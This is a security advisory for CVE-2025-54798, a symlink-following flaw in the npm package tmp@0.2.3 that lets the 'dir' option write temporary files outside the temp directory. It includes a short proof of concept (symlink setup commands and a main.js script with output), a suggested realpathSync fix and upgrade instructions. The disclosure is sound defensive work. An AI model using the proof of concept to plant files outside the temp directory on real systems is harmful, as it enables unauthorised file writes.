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GHSA-52f5-9888-hmc6 CVE-2025-54798

tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter

Medium npm
Severity
2.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.63% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
0.2.4
Upgrade tmp to this version or later

Description

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Affected versions

npm

PackageVulnerableFixed in
tmp
<= 0.2.3
No fix yet
tmp
< 0.2.4
0.2.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

tmp npm → 0.2.4

npm
npm install tmp@0.2.4
yarn
yarn add tmp@0.2.4
pnpm
pnpm add tmp@0.2.4

Severity breakdown

CVSS 3.1 2.5

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7c78-jf6q-g5cm
tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template
High Also affects tmp
GHSA-ph9p-34f9-6g65
tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape
High Also affects tmp
GHSA-hjqx-j4rw-g7xv
zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
High Same weakness, CWE-59
GHSA-4vjg-vx72-qq4g
systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
Low Same weakness, CWE-59
GHSA-9j6q-wvj5-jgjg
filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker
Low Same weakness, CWE-59
GHSA-j8f7-rjxc-mr56
filelock: ReadWriteLock follows a symlink at the lock path into SQLite
Medium Same weakness, CWE-59
GHSA-crv4-6mhj-j5jh
filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
Medium Same weakness, CWE-59
GHSA-v4x8-3wr5-3wq8
filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files
High Same weakness, CWE-59

Credits: dellalibera

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